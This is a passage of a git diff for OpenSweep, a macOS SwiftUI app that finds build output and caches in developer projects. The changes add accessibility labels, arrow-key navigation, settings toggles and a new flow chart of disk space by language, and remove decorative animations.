StrokeStyle(lineWidth: 1, dash: [3, 2]))) + .frame(width: 14, height: 10).accessibilityHidden(true) + Text(text) + } + } + + private func block(_ c: ToolCache, in r: CGRect) -> some View { + let tint = Ecosystem.of(cache: c.id).color + let on = picked.contains(c.id) + let share = total > 0 ? Int((Double(c.bytes) / Double(total) * 100).rounded()) : 0 + let shape = RoundedRectangle(cornerRadius: 8, style: .continuous) + return Button { + guard c.clearable, !running else { return } + if on { picked.remove(c.id) } else { picked.insert(c.id) } + } label: { + ZStack(alignment: .topLeading) { + shape.fill(tint.opacity(c.clearable ? (hovered == c.name || on ? 0.50 : 0.30) : 0.12)) + shape.strokeBorder(on ? tint : (c.clearable ? .clear : tint.opacity(0.4)), + style: StrokeStyle(lineWidth: on ? 2 : 1, dash: c.clearable ? [] : [4, 3])) + if r.width > 80 && r.height > 40 { + VStack(alignment: .leading, spacing: 1) { + HStack(spacing: 4) { + if on { Image(systemName: "checkmark.circle.fill").accessibilityHidden(true) } + Text(c.name).font(.caption.weight(.semibold)).lineLimit(1) + } + Text("\(bytes(c.bytes)) · \(share)%").font(.caption2).monospacedDigit().opacity(0.8) + } + .foregroundStyle(Brand.text).padding(7) + } + if r.width > 44 && r.height > 44 { + EcosystemBadge(ecosystem: Ecosystem.of(cache: c.id), size: 20).padding(6) + .frame(width: r.width, height: r.height, alignment: .bottomTrailing) + .allowsHitTesting(false) + } + } + } + .buttonStyle(.plain) + .frame(width: max(r.width, 0), height: max(r.height, 0)) + .offset(x: r.minX, y: r.minY) + .onHover { hovered = $0 ? "\(c.name): \(bytes(c.bytes))\(c.clearable ? "" : ", measured only")" : nil } + .accessibilityLabel("\(c.name), \(bytes(c.bytes)), \(share) percent\(c.clearable ? "" : ", measured only")") + .accessibilityAddTraits(on ? .isSelected : []) + .accessibilityIdentifier("cachemap.\(c.id)") + .animation(.smooth(duration: 0.22), value: hovered) + .animation(.smooth(duration: 0.22), value: on) + } +} diff --git a/OpenSweep/Views/DevStackView.swift b/OpenSweep/Views/DevStackView.swift index 1808fd6..1d09b39 100644 --- a/OpenSweep/Views/DevStackView.swift +++ b/OpenSweep/Views/DevStackView.swift @@ -30,6 +30,7 @@ struct DevStackView: View { if model.devStackLoading { ProgressView().controlSize(.small) } else { Label("Refresh", systemImage: "arrow.clockwise") } } .buttonStyle(SecondaryButtonStyle()) + .accessibilityLabel(model.devStackLoading ? "Refreshing" : "Refresh") .disabled(model.devStackLoading) } // A Menu, not a menu Picker: the picker's pop-up has no press action for VoiceOver. @@ -55,6 +56,8 @@ struct DevStackView: View { } } } + .accessibilityElement(children: .contain) + .accessibilityLabel("Installed tools") } } .padding(28) diff --git a/OpenSweep/Views/HistoryView.swift b/OpenSweep/Views/HistoryView.swift index 1202555..6724cb9 100644 --- a/OpenSweep/Views/HistoryView.swift +++ b/OpenSweep/Views/HistoryView.swift @@ -26,6 +26,8 @@ struct HistoryView: View { } .fixedSize() .disabled(model.stats.held == 0) + // macOS 15 does not take the label from the menu's title. + .accessibilityLabel("Free older runs") .accessibilityIdentifier("purgeOlder") } totals @@ -113,7 +115,7 @@ struct HistoryView: View { .font(.caption.weight(.semibold)) .foregroundStyle(e.state == .moved ? Brand.teal : Brand.slate) .frame(width: 70, alignment: .leading) - Text((e.original as NSString).abbreviatingWithTildeInPath) + Text(tildePath(e.original)) .font(.callout.monospaced()).foregroundStyle(Brand.text) .lineLimit(1).truncationMode(.middle) if let note = e.note { Text(note).font(.caption).foregroundStyle(Brand.amber) } diff --git a/OpenSweep/Views/OverviewView.swift b/OpenSweep/Views/OverviewView.swift index 08734bf..8b69a38 100644 --- a/OpenSweep/Views/OverviewView.swift +++ b/OpenSweep/Views/OverviewView.swift @@ -39,6 +39,7 @@ struct OverviewView: View { @State private var hovered: String? @State private var opened: String? @AppStorage("accessBannerDismissed") private var accessDismissed = false + @AppStorage(Peep.showKey) private var showCharacter = true var body: some View { let stats = LanguageStat.of(model.projects) @@ -54,7 +55,7 @@ struct OverviewView: View { welcome.entrance(1) } else { hero(stats).entrance(1) - if model.stats.cleaned > 0 { CleanedSoFar(stats: model.stats).entrance(2) } + if showCharacter && model.stats.cleaned > 0 { CleanedSoFar(stats: model.stats).entrance(2) } languages(stats) if let id = opened, let s = stats.first(where: { $0.id == id }) { LanguageDrawer(stat: s) { opened = nil } @@ -63,12 +64,13 @@ struct OverviewView: View { } } if model.summary != nil && !stats.isEmpty { + SpaceFlow(stats: stats, hovered: $hovered).entrance(3) DiskMap(stats: stats).entrance(3) } skippedFolders } .padding(.horizontal, 36).padding(.vertical, 30) - .frame(maxWidth: 1080, alignment: .leading) + .frame(maxWidth: 1440, alignment: .leading) .frame(maxWidth: .infinity) .animation(.spring(response: 0.5, dampingFraction: 0.85), value: opened) } @@ -105,7 +107,7 @@ struct OverviewView: View { return "Hi! Scan your projects and I'll show where your disk went, language by language." } guard let top = stats.first else { return "All tidy. Nothing to clean right now." } - let milestone = Stats.milestone(for: model.stats.cleaned).map { " We have cleared over \(bytes($0)) together." } ?? "" + let milestone = (showCharacter ? Stats.milestone(for: model.stats.cleaned) : nil).map { " We have cleared over \(bytes($0)) together." } ?? "" if s.ready.bytes == 0 { return "\(top.ecosystem.name) holds the most, but nothing can go without a reinstall.\(milestone)" } return "\(bytes(s.ready.bytes)) can go right now. \(top.ecosystem.name) is the hungriest, at \(bytes(top.total)).\(milestone)" } @@ -117,7 +119,6 @@ struct OverviewView: View { VStack(alignment: .leading, spacing: 14) { Text("Your disk, by language").font(.system(size: 40, weight: .bold)).tracking(-0.8).foregroundStyle(Brand.text) .accessibilityAddTraits(.isHeader) - DoodleView(kind: .squiggle, color: Brand.teal, lineWidth: 3).frame(width: 220, height: 14) Text("A scan reads your project folders and measures build output, dependencies and caches. It changes nothing. Cleaning moves folders to a quarantine you can undo.") .font(.title3).foregroundStyle(Brand.muted).fixedSize(horizontal: false, vertical: true) HStack(spacing: 10) { @@ -133,7 +134,6 @@ struct OverviewView: View { .padding(32) .frame(maxWidth: .infinity, alignment: .leading) .glassCard(radius: 24) - .overlay(alignment: .topTrailing) { DoodleView(kind: .sparkle, color: Brand.amber, delay: 0.4).frame(width: 22, height: 22).offset(x: -24, y: 20) } } // MARK: Hero @@ -154,10 +154,6 @@ struct OverviewView: View { } .font(.figure(68)).foregroundStyle(Brand.text) .animation(.spring(response: 0.6), value: found) - .overlay(alignment: .topTrailing) { - DoodleView(kind: .sparkle, color: Brand.amber, delay: 0.6).frame(width: 20, height: 20).offset(x: 24, y: -6) - } - DoodleView(kind: .squiggle, color: Brand.teal, lineWidth: 3, delay: 0.3).frame(width: 200, height: 14) if let s = model.summary { Text("\(s.ready.folders) folders that rebuild on their own, across \(stats.count) \(stats.count == 1 ? "language" : "languages").") .font(.title3).foregroundStyle(Brand.muted) @@ -167,7 +163,7 @@ struct OverviewView: View { if s.active.bytes > 0 { StatusChip(text: "\(bytes(s.active.bytes)) in active projects", systemImage: "bolt.fill", tint: Brand.sky) } } } else { - ScanningLine().frame(width: 260, height: 18) + ProgressView().progressViewStyle(.linear).tint(Brand.teal).frame(width: 260) Text("\(model.projects.count) projects so far").font(.title3).foregroundStyle(Brand.muted) .contentTransition(.numericText(value: Double(model.projects.count))) .animation(.spring, value: model.projects.count) @@ -176,7 +172,6 @@ struct OverviewView: View { Spacer(minLength: 0) LanguageRing(stats: stats, highlighted: hovered) .frame(width: 230, height: 230) - .overlay(alignment: .bottomLeading) { DoodleView(kind: .loops, color: Brand.slate.opacity(0.5), lineWidth: 2, delay: 0.8).frame(width: 90, height: 26).offset(x: -60, y: 6) } } .padding(30) .glassCard(radius: 24) @@ -188,7 +183,6 @@ struct OverviewView: View { VStack(alignment: .leading, spacing: 14) { HStack(alignment: .firstTextBaseline, spacing: 10) { Text("By language").font(.title2.bold()).foregroundStyle(Brand.text).accessibilityAddTraits(.isHeader) - DoodleView(kind: .zigzag, color: Brand.amber, lineWidth: 2, delay: 0.5).frame(width: 34, height: 10) Spacer() Text("Pick one to see its projects").font(.callout).foregroundStyle(Brand.muted) } @@ -200,7 +194,7 @@ struct OverviewView: View { opened = opened == s.id ? nil : s.id } label: { LanguageCard(stat: s, share: Double(s.total) / Double(max(biggest, 1)), open: opened == s.id, index: i) - .hoverTilt(s.ecosystem.color) + .hoverLift(s.ecosystem.color) } .buttonStyle(.plain) .accessibilityIdentifier("language.\(s.id)") @@ -220,7 +214,7 @@ struct OverviewView: View { DisclosureGroup("\(model.skipped.count) folders were not scanned") { ForEach(model.skipped, id: \.path) { s in HStack { - Text((s.path as NSString).abbreviatingWithTildeInPath).font(.caption.monospaced()) + Text(tildePath(s.path)).font(.caption.monospaced()) .lineLimit(1).truncationMode(.middle) Spacer() Text(s.detail).font(.caption) @@ -273,7 +267,7 @@ struct LanguageCard: View { .frame(maxWidth: .infinity, alignment: .leading) .background( RoundedRectangle(cornerRadius: 18, style: .continuous) - .fill(LinearGradient(colors: [c.opacity(open ? 0.22 : 0.12), Brand.surface], startPoint: .topLeading, endPoint: .center)) + .fill(open ? c.opacity(0.08) : .clear) .background(RoundedRectangle(cornerRadius: 18, style: .continuous).fill(Brand.surface))) .overlay(RoundedRectangle(cornerRadius: 18, style: .continuous).strokeBorder(open ? c.opacity(0.7) : Brand.hairline, lineWidth: open ? 1.5 : 1)) .contentShape(RoundedRectangle(cornerRadius: 18, style: .continuous)) @@ -431,8 +425,6 @@ struct LogoOrbit: View { Circle().stroke(style: StrokeStyle(lineWidth: 1, dash: [3, 7])).foregroundStyle(Brand.slate.opacity(0.35)).padding(26) Circle().stroke(style: StrokeStyle(lineWidth: 1, dash: [2, 9])).foregroundStyle(Brand.slate.opacity(0.2)).padding(80) Peep(mood: .calm, size: 120, backdrop: Brand.teal) - DoodleView(kind: .sparkle, color: Brand.amber, delay: 0.2).frame(width: 18, height: 18).offset(x: 62, y: -58) - DoodleView(kind: .plus, color: Brand.teal, lineWidth: 2, delay: 0.5).frame(width: 12, height: 12).offset(x: -70, y: 50) } .frame(width: g.size.width, height: g.size.height) } @@ -440,18 +432,6 @@ struct LogoOrbit: View { } } -/// A squiggle that keeps drawing itself while a scan runs. -struct ScanningLine: View { - @State private var phase: CGFloat = 0 - var body: some View { - Doodle(kind: .squiggle) - .trim(from: max(0, phase - 0.35), to: phase) - .stroke(Brand.teal, style: StrokeStyle(lineWidth: 3, lineCap: .round)) - .accessibilityHidden(true) - .onAppear { withAnimation(.easeInOut(duration: 1.4).repeatForever(autoreverses: false)) { phase = 1.35 } } - } -} - /// Diagonal stripes for space that needs a reinstall. struct Hatch: View { let color: Color @@ -496,7 +476,7 @@ struct ProjectRow: View { EcosystemStack(ecosystems: project.ecosystems.isEmpty ? [Ecosystem.of(rule: "")] : project.ecosystems) VStack(alignment: .leading, spacing: 3) { Text(URL(fileURLWithPath: project.root).lastPathComponent).font(.body.weight(.semibold)).foregroundStyle(Brand.text) - Text((project.root as NSString).abbreviatingWithTildeInPath) + Text(tildePath(project.root)) .font(.caption.monospaced()).foregroundStyle(Brand.muted).lineLimit(1).truncationMode(.middle) } Spacer(minLength: 12) diff --git a/OpenSweep/Views/ProjectsView.swift b/OpenSweep/Views/ProjectsView.swift index de254bc..9422176 100644 --- a/OpenSweep/Views/ProjectsView.swift +++ b/OpenSweep/Views/ProjectsView.swift @@ -5,10 +5,24 @@ struct ProjectsView: View { @Environment(AppModel.self) private var model @State private var search = "" @FocusState private var searching: Bool + /// Arrow keys move through whichever list has focus (gap G4). + @FocusState private var pane: Pane? @AppStorage("projectsShowAll") private var showAll = false @AppStorage("projectsSort") private var sort = Sort.size enum Sort: String, CaseIterable { case size, name } + enum Pane { case projects, folders } + + /// ↑/↓ in the project list: the next or previous project. + private func step(_ by: Int, _ proxy: ScrollViewProxy) -> KeyPress.Result { + let roots = rows.map(\.root) + guard !roots.isEmpty else { return .ignored } + let now = roots.firstIndex(of: model.selectedProject ?? "") ?? (by > 0 ? -1 : roots.count) + let next = roots[min(max(now + by, 0), roots.count - 1)] + model.selectedProject = next + proxy.scrollTo(next) + return .handled + } private var rows: [AgentEngine.Project] { (showAll ? model.projects : model.cleanable) @@ -62,14 +76,16 @@ struct ProjectsView: View { .foregroundStyle(Brand.muted).frame(maxWidth: .infinity) Spacer() } else { + ScrollViewReader { proxy in ScrollView { let biggest = rows.map(model.total).max() ?? 1 LazyVStack(spacing: 2) { ForEach(Array(rows.enumerated()), id: \.element.root) { i, p in - Button { model.selectedProject = p.root } label: { + Button { model.selectedProject = p.root; pane = .projects } label: { CompactProjectRow(project: p, total: model.total(p), share: Double(model.total(p)) / Double(max(biggest, 1))) } .buttonStyle(RowButtonStyle(selected: model.selectedProject == p.root)) + .accessibilityAddTraits(model.selectedProject == p.root ? .isSelected : []) .accessibilityIdentifier("project.\(URL(fileURLWithPath: p.root).lastPathComponent)") .entrance(i, from: .leading) } @@ -77,6 +93,17 @@ struct ProjectsView: View { .accessibilityElement(children: .contain) .accessibilityLabel("Projects") } + .focusable() + .focusEffectDisabled() + .focused($pane, equals: .projects) + .onKeyPress(.downArrow) { step(1, proxy) } + .onKeyPress(.upArrow) { step(-1, proxy) } + .onKeyPress(.rightArrow) { + guard model.project(model.selectedProject)?.items.isEmpty == false else { return .ignored } + pane = .folders + return .handled + } + } } } .padding(.horizontal, 20).padding(.vertical, 24) @@ -88,7 +115,7 @@ struct ProjectsView: View { if let p = model.project(model.selectedProject) { // Keyed by path, not value: a refresh after a clean must not tear down // the open Review sheet (and its Undo). - ProjectDetail(project: p).id(p.root).entrance(0, from: .trailing) + ProjectDetail(project: p, pane: $pane).id(p.root).entrance(0, from: .trailing) } else { VStack(spacing: 8) { Peep(crew: 2, size: 96) @@ -97,6 +124,7 @@ struct ProjectsView: View { .frame(maxWidth: .infinity, maxHeight: .infinity) } } + .onAppear { if !searching { pane = .projects } } } } @@ -105,7 +133,10 @@ struct ProjectsView: View { struct ProjectDetail: View { @Environment(AppModel.self) private var model let project: AgentEngine.Project + var pane: FocusState.Binding @State private var picked: Set = [] + /// The folder ↑/↓ and Space act on while the folder list has focus. + @State private var cursor = 0 @State private var allowActive = false @State private var review: CleanOutput? @State private var busy = false @@ -118,7 +149,7 @@ struct ProjectDetail: View { VStack(alignment: .leading, spacing: 4) { Text(URL(fileURLWithPath: project.root).lastPathComponent) .font(.system(size: 26, weight: .bold)).tracking(-0.4).foregroundStyle(Brand.text) - Text((project.root as NSString).abbreviatingWithTildeInPath).font(.callout.monospaced()).foregroundStyle(Brand.muted) + Text(tildePath(project.root)).font(.callout.monospaced()).foregroundStyle(Brand.muted) .lineLimit(1).truncationMode(.middle).help(project.root) } .frame(maxWidth: .infinity, alignment: .leading) @@ -166,14 +197,34 @@ struct ProjectDetail: View { Text("Nothing to clean here.").foregroundStyle(Brand.muted) } else { let biggest = project.items.compactMap(\.bytes).max() ?? 1 + let keys = pane.wrappedValue == .folders VStack(spacing: 0) { ForEach(Array(project.items.enumerated()), id: \.element.path) { i, item in itemRow(item, share: Double(item.bytes ?? 0) / Double(max(biggest, 1))) + .background(keys && i == cursor ? Brand.teal.opacity(0.10) : .clear) + .overlay(alignment: .leading) { + if keys && i == cursor { Rectangle().fill(Brand.teal).frame(width: 3) } + } .entrance(i + 1) if i < project.items.count - 1 { Divider().overlay(Brand.hairline).padding(.leading, 76) } } } + .clipShape(RoundedRectangle(cornerRadius: 12, style: .continuous)) .glassCard() + .focusable() + .focusEffectDisabled() + .focused(pane, equals: .folders) + .onKeyPress(.downArrow) { cursor = min(cursor + 1, project.items.count - 1); return .handled } + .onKeyPress(.upArrow) { cursor = max(cursor - 1, 0); return .handled } + .onKeyPress(.leftArrow) { pane.wrappedValue = .projects; return .handled } + .onKeyPress(.space) { + guard project.items.indices.contains(cursor), !project.pinned, + Selection.selectable(project.items[cursor]) else { return .ignored } + let path = Selection.path(project.items[cursor], in: project) + if picked.contains(path) { picked.remove(path) } else { picked.insert(path) } + return .handled + } + .accessibilityHint("Arrow keys move between folders; Space ticks one") } } .padding(.horizontal, 28).padding(.top, 26).padding(.bottom, 90) @@ -214,6 +265,11 @@ struct ProjectDetail: View { } } + /// "up to" when the folder shares space with files elsewhere (F8). + private func size(_ item: Item) -> String? { + item.bytes.map { (item.shared == true ? "up to " : "") + bytes($0) } + } + private func itemRow(_ item: Item, share: Double) -> some View { let path = Selection.path(item, in: project) let on = Binding( @@ -223,7 +279,7 @@ struct ProjectDetail: View { Toggle("", isOn: on).labelsHidden().toggleStyle(.checkbox) .disabled(!Selection.selectable(item) || project.pinned) .accessibilityIdentifier("item.\(item.path)") - .accessibilityLabel("\(item.path), \(item.kind.label), \(item.bytes.map(bytes) ?? "size unknown")") + .accessibilityLabel("\(item.path), \(item.kind.label), \(size(item) ?? "size unknown")") .accessibilityHint(item.refused.map { "Kept: \($0)" } ?? item.kind.explanation) .padding(.top, 5) EcosystemBadge(ecosystem: Ecosystem.of(rule: item.rule), size: 26) @@ -232,13 +288,14 @@ struct ProjectDetail: View { Text(item.path).font(.body.monospaced().weight(.semibold)).foregroundStyle(Brand.text) StatusChip(text: item.kind.label, systemImage: item.kind == .safe ? "checkmark.shield.fill" : "exclamationmark.triangle.fill", tint: item.kind.tint) } - Text(item.refused.map { "Kept: \($0)" } ?? item.kind.explanation) + Text(item.refused.map { "Kept: \($0)" } ?? item.kind.explanation + + (item.shared == true ? " Some files are shared with a package store or other copies, so cleaning may free less." : "")) .font(.callout).foregroundStyle(Brand.muted) .fixedSize(horizontal: false, vertical: true) } Spacer(minLength: 12) VStack(alignment: .trailing, spacing: 6) { - Text(item.bytes.map(bytes) ?? "—").font(.callout.weight(.semibold)).monospacedDigit().foregroundStyle(Brand.text) + Text(size(item) ?? "—").font(.callout.weight(.semibold)).monospacedDigit().foregroundStyle(Brand.text) ShareBar(share: share, tint: Ecosystem.of(rule: item.rule).color).frame(width: 72) } } diff --git a/OpenSweep/Views/RootView.swift b/OpenSweep/Views/RootView.swift index 9ecfbdc..e029f2e 100644 --- a/OpenSweep/Views/RootView.swift +++ b/OpenSweep/Views/RootView.swift @@ -31,7 +31,7 @@ struct RootView: View { } } detail: { ZStack { - AnimatedBackdrop(colors: backdrop) + Brand.canvas.ignoresSafeArea() Group { switch model.screen { case .overview: OverviewView() @@ -44,7 +44,7 @@ struct RootView: View { .id(model.screen) .transition(.page(reduce: reduce)) } - .animation(.spring(response: 0.5, dampingFraction: 0.86), value: model.screen) + .animation(.smooth(duration: 0.3), value: model.screen) } .tint(Brand.teal) .alert("Something went wrong", isPresented: Binding(get: { model.error != nil }, set: { if !$0 { model.error = nil } })) { @@ -79,12 +79,6 @@ struct RootView: View { } } - /// The backdrop glows in the colours of the biggest languages found. - private var backdrop: [Color] { - let top = LanguageStat.of(model.projects).prefix(3).map(\.ecosystem.color) - return top.count >= 2 ? Array(top) : [Brand.teal, Color(hex: 0x8B6CEF), Brand.sky] - } - /// Counts the sidebar shows next to a screen, when there is something to count. private func badge(_ screen: AppModel.Screen) -> Int { switch screen { diff --git a/OpenSweep/Views/SettingsView.swift b/OpenSweep/Views/SettingsView.swift index bdac7d4..a06775c 100644 --- a/OpenSweep/Views/SettingsView.swift +++ b/OpenSweep/Views/SettingsView.swift @@ -7,12 +7,28 @@ struct SettingsView: View { @State private var idle = 14 @State private var dormant = 90 @AppStorage("showMenuBar") private var showMenuBar = true + @AppStorage(Peep.showKey) private var showCharacter = true + @State private var autoUpdate = Updater.automaticChecks var body: some View { Form { Section { Toggle("Show OpenSweep in the menu bar", isOn: $showMenuBar) .accessibilityIdentifier("settings.menuBar") + Toggle("Show the character and cleaning stats", isOn: $showCharacter) + .accessibilityIdentifier("settings.character") + if let autoUpdate { + Toggle("Check for updates automatically", isOn: Binding(get: { autoUpdate }, set: { + Updater.automaticChecks = $0 + self.autoUpdate = $0 + })) + .accessibilityIdentifier("settings.autoUpdate") + } + } footer: { + Text(autoUpdate == nil + ? "This build has no update feed, so OpenSweep never goes online." + : "The update check is the only time OpenSweep goes online. Stats are counted on this Mac from History.") + .foregroundStyle(Brand.muted) } Section { @Bindable var model = model @@ -24,7 +40,7 @@ struct SettingsView: View { } else { ForEach(model.scanRoots, id: \.self) { root in HStack { - Text((root as NSString).abbreviatingWithTildeInPath) + Text(tildePath(root)) Spacer() Button("Remove") { model.scanRoots.removeAll { $0 == root } } .disabled(model.scanRoots.count == 1) @@ -45,7 +61,7 @@ struct SettingsView: View { Text(model.wholeDisk ? "Every folder on this Mac's own disk: your home folder, /Applications, /Library, /opt, /usr/local and /private/tmp. Installed software is noted, never cleaned. Other drives are local drives you plugged in; network drives, disk images and Time Machine backups are never scanned." : "Only these folders and everything inside them.") - .foregroundStyle(.secondary) + .foregroundStyle(Brand.muted) } Section { @@ -75,7 +91,7 @@ struct SettingsView: View { Text("Space and scans") } footer: { Text("Cleaned folders wait in quarantine so you can undo; after this long they are deleted for good and the space comes back. The last scan is kept, and refreshed in the background when it is over an hour old. A scheduled clean takes only Safe folders in dormant projects, never pinned ones, and tells you with an Undo button. It runs while OpenSweep is open, including in the menu bar.") - .foregroundStyle(.secondary) + .foregroundStyle(Brand.muted) } Section { @@ -86,13 +102,13 @@ struct SettingsView: View { } header: { Text("Activity") } footer: { - Text("Active projects are only cleaned when you say so in the project.").foregroundStyle(.secondary) + Text("Active projects are only cleaned when you say so in the project.").foregroundStyle(Brand.muted) } Section("Never scan") { ForEach(model.config?.exclude ?? [], id: \.self) { folder in HStack { - Text((folder as NSString).abbreviatingWithTildeInPath) + Text(tildePath(folder)) Spacer() Button("Remove") { Task { await model.include(folder) } } } @@ -113,27 +129,27 @@ struct SettingsView: View { Text("Rules") } footer: { Text("Add TOML rule files to a folder named rules beside config.toml for build output the catalogue does not know. They are checked like the built-in rules. A repository can also carry .opensweep.toml to pin itself or keep folders.") - .foregroundStyle(.secondary) + .foregroundStyle(Brand.muted) } Section("Pinned: never cleaned") { if (model.config?.pinned.isEmpty ?? true) && (model.config?.pinnedRemotes ?? []).isEmpty { - Text("Nothing is pinned. Pin a project from its page.").foregroundStyle(.secondary) + Text("Nothing is pinned. Pin a project from its page.").foregroundStyle(Brand.muted) } ForEach(model.config?.pinnedRemotes ?? [], id: \.self) { remote in HStack { Label(remote, systemImage: "arrow.triangle.branch") Spacer() - Text("any folder").foregroundStyle(.secondary) + Text("any folder").foregroundStyle(Brand.muted) } } ForEach(model.config?.pinned ?? [], id: \.self) { folder in HStack { - Text((folder as NSString).abbreviatingWithTildeInPath) + Text(tildePath(folder)) if let until = model.config?.pinnedUntil?[folder] { let date = Date(timeIntervalSince1970: TimeInterval(until)) Text(date < Date() ? "ended" : "until \(date.formatted(date: .abbreviated, time: .omitted))") - .foregroundStyle(.secondary) + .foregroundStyle(Brand.muted) } Spacer() Button("Unpin") { Task { await model.setPinned(folder, false) } } diff --git a/OpenSweep/Views/SpaceFlow.swift b/OpenSweep/Views/SpaceFlow.swift new file mode 100644 index 0000000..64ab89e --- /dev/null +++ b/OpenSweep/Views/SpaceFlow.swift @@ -0,0 +1,169 @@ +// SPDX-License-Identifier: Apache-2.0 + +import SwiftUI + +/// Where the space goes: each language on the left flows into what can be +/// done with it on the right (ready now, needs a reinstall, in use). Band +/// thickness is bytes. Hovering a language highlights its flows and the ring. +struct SpaceFlow: View { + let stats: [LanguageStat] + @Binding var hovered: String? + /// Draw the bands in from the left on first appearance. + var animate = true + @State private var drawn: CGFloat = 0 + @Environment(\.accessibilityReduceMotion) private var reduce + + private struct Node: Identifiable { + let id: String + let name: String + let value: Double + let color: Color + var ecosystem: Ecosystem? + } + + private static let shown = 6 + private static let minHeight: CGFloat = 12 + private static let gap: CGFloat = 12 + private static let bar: CGFloat = 8 + + /// The biggest languages, the rest folded into "Other". + private var sources: [LanguageStat] { + let sorted = stats.sorted { $0.total > $1.total } + guard sorted.count > Self.shown else { return sorted } + var other = LanguageStat(ecosystem: Ecosystem(id: "other", name: "Other", logo: nil, color: Brand.slate, symbol: "ellipsis")) + for s in sorted.dropFirst(Self.shown - 1) { + other.ready += s.ready; other.caution += s.caution; other.active += s.active + } + return Array(sorted.prefix(Self.shown - 1)) + [other] + } + + private static let buckets: [(id: String, name: String, color: Color, value: (LanguageStat) -> UInt64)] = [ + ("ready", "Ready to clean", Brand.green, { $0.ready }), + ("caution", "Needs a reinstall", Brand.amber, { $0.caution }), + ("active", "In active projects", Brand.sky, { $0.active }), + ] + + var body: some View { + let src = sources + let left = src.map { Node(id: $0.id, name: $0.ecosystem.name, value: Double($0.total), color: $0.ecosystem.color, ecosystem: $0.ecosystem) } + let right = Self.buckets.map { b in + Node(id: b.id, name: b.name, value: Double(src.reduce(0) { $0 + b.value($1) }), color: b.color) + }.filter { $0.value > 0 } + let total = max(left.reduce(0) { $0 + $1.value }, 1) + + VStack(alignment: .leading, spacing: 14) { + HStack(alignment: .firstTextBaseline) { + Text("Where the space goes").font(.title2.bold()).foregroundStyle(Brand.text).accessibilityAddTraits(.isHeader) + Spacer() + Text("\(bytes(UInt64(total))) found, by language and what can be done with it") + .font(.callout).foregroundStyle(Brand.muted).lineLimit(1) + } + GeometryReader { g in + let labelL: CGFloat = 190, labelR: CGFloat = 210 + let x0 = labelL, x1 = g.size.width - labelR + let l = layout(left, total: total, height: g.size.height) + let r = layout(right, total: total, height: g.size.height) + ZStack(alignment: .topLeading) { + Canvas { ctx, _ in + var lOff = l.map { $0.minY + Self.minHeight / 2 }, rOff = r.map { $0.minY + Self.minHeight / 2 } + let k = scale(left.count, total: total, height: g.size.height) + for (i, s) in src.enumerated() { + for (j, node) in right.enumerated() { + guard let b = Self.buckets.first(where: { $0.id == node.id }) else { continue } + let v = Double(b.value(s)) + guard v > 0 else { continue } + let t = max(CGFloat(v) * k, 1.5) + let a = CGRect(x: x0 + Self.bar, y: lOff[i], width: 0, height: t) + let z = CGRect(x: x1 - Self.bar, y: rOff[j], width: 0, height: t) + lOff[i] += t; rOff[j] += t + let on = hovered == nil || hovered == s.id + ctx.fill(ribbon(from: a, to: z), with: .linearGradient( + Gradient(colors: [left[i].color.opacity(on ? 0.55 : 0.12), node.color.opacity(on ? 0.45 : 0.10)]), + startPoint: CGPoint(x: a.minX, y: 0), endPoint: CGPoint(x: z.minX, y: 0))) + } + } + for (i, rect) in l.enumerated() { + ctx.fill(Path(roundedRect: CGRect(x: x0, y: rect.minY, width: Self.bar, height: rect.height), cornerRadius: 3), with: .color(left[i].color)) + } + for (j, rect) in r.enumerated() { + ctx.fill(Path(roundedRect: CGRect(x: x1 - Self.bar, y: rect.minY, width: Self.bar, height: rect.height), cornerRadius: 3), with: .color(right[j].color)) + } + } + .mask(alignment: .leading) { Rectangle().frame(width: g.size.width * (animate ? drawn : 1)) } + .accessibilityHidden(true) + + ForEach(Array(left.enumerated()), id: \.element.id) { i, n in + HStack(spacing: 8) { + if let e = n.ecosystem { EcosystemBadge(ecosystem: e, size: 22) } + Text(n.name).font(.callout.weight(.semibold)).foregroundStyle(Brand.text).lineLimit(1) + Spacer(minLength: 4) + Text(bytes(UInt64(n.value))).font(.callout).monospacedDigit().foregroundStyle(Brand.muted) + } + .padding(.trailing, 10) + .frame(width: labelL, height: 24) + .contentShape(Rectangle()) + .position(x: labelL / 2, y: l[i].midY) + .opacity(hovered == nil || hovered == n.id ? 1 : 0.45) + .onHover { hovered = $0 ? n.id : (hovered == n.id ? nil : hovered) } + .accessibilityElement(children: .combine) + } + ForEach(Array(right.enumerated()), id: \.element.id) { j, n in + VStack(alignment: .leading, spacing: 1) { + Text(n.name).font(.callout.weight(.semibold)).foregroundStyle(Brand.text) + Text("\(bytes(UInt64(n.value))) · \(percent(n.value / total))") + .font(.caption).monospacedDigit().foregroundStyle(n.color) + } + .padding(.leading, 12) + .frame(width: labelR, alignment: .leading) + .position(x: x1 + labelR / 2, y: r[j].midY) + .accessibilityElement(children: .combine) + } + } + } + .frame(height: max(220, CGFloat(left.count) * 40)) + .accessibilityElement(children: .contain) + .accessibilityLabel("Where the space goes") + .animation(.smooth(duration: 0.25), value: hovered) + } + .padding(24) + .glassCard(radius: 20) + .onAppear { + if reduce || !animate { drawn = 1 } else { withAnimation(.smooth(duration: 0.9).delay(0.15)) { drawn = 1 } } + } + } + + private func percent(_ share: Double) -> String { + share > 0 && share < 0.005 ? "<1%" : "\(Int((share * 100).rounded()))%" + } + + /// Points per byte, after the gaps and each node's minimum height. + private func scale(_ count: Int, total: Double, height: CGFloat) -> CGFloat { + max(height - Self.gap * CGFloat(max(count - 1, 0)) - Self.minHeight * CGFloat(count), 0) / CGFloat(total) + } + + /// Stacked node rectangles (only y and height matter), centred vertically. + private func layout(_ nodes: [Node], total: Double, height: CGFloat) -> [CGRect] { + let k = scale(nodes.count, total: total, height: height) + var y: CGFloat = 0 + var out: [CGRect] = [] + for n in nodes { + let h = Self.minHeight + CGFloat(n.value) * k + out.append(CGRect(x: 0, y: y, width: 0, height: h)) + y += h + Self.gap + } + let shift = max((height - (y - Self.gap)) / 2, 0) + return out.map { $0.offsetBy(dx: 0, dy: shift) } + } + + /// A band from one node edge to another with S-curved sides. + private func ribbon(from a: CGRect, to z: CGRect) -> Path { + let mid = (a.minX + z.minX) / 2 + var p = Path() + p.move(to: CGPoint(x: a.minX, y: a.minY)) + p.addCurve(to: CGPoint(x: z.minX, y: z.minY), control1: CGPoint(x: mid, y: a.minY), control2: CGPoint(x: mid, y: z.minY)) + p.addLine(to: CGPoint(x: z.minX, y: z.maxY)) + p.addCurve(to: CGPoint(x: a.minX, y: a.maxY), control1: CGPoint(x: mid, y: z.maxY), control2: CGPoint(x: mid, y: a.maxY)) + p.closeSubpath() + return p + } +} diff --git a/OpenSweepUITests/OpenSweepUITests.swift b/OpenSweepUITests/OpenSweepUITests.swift index 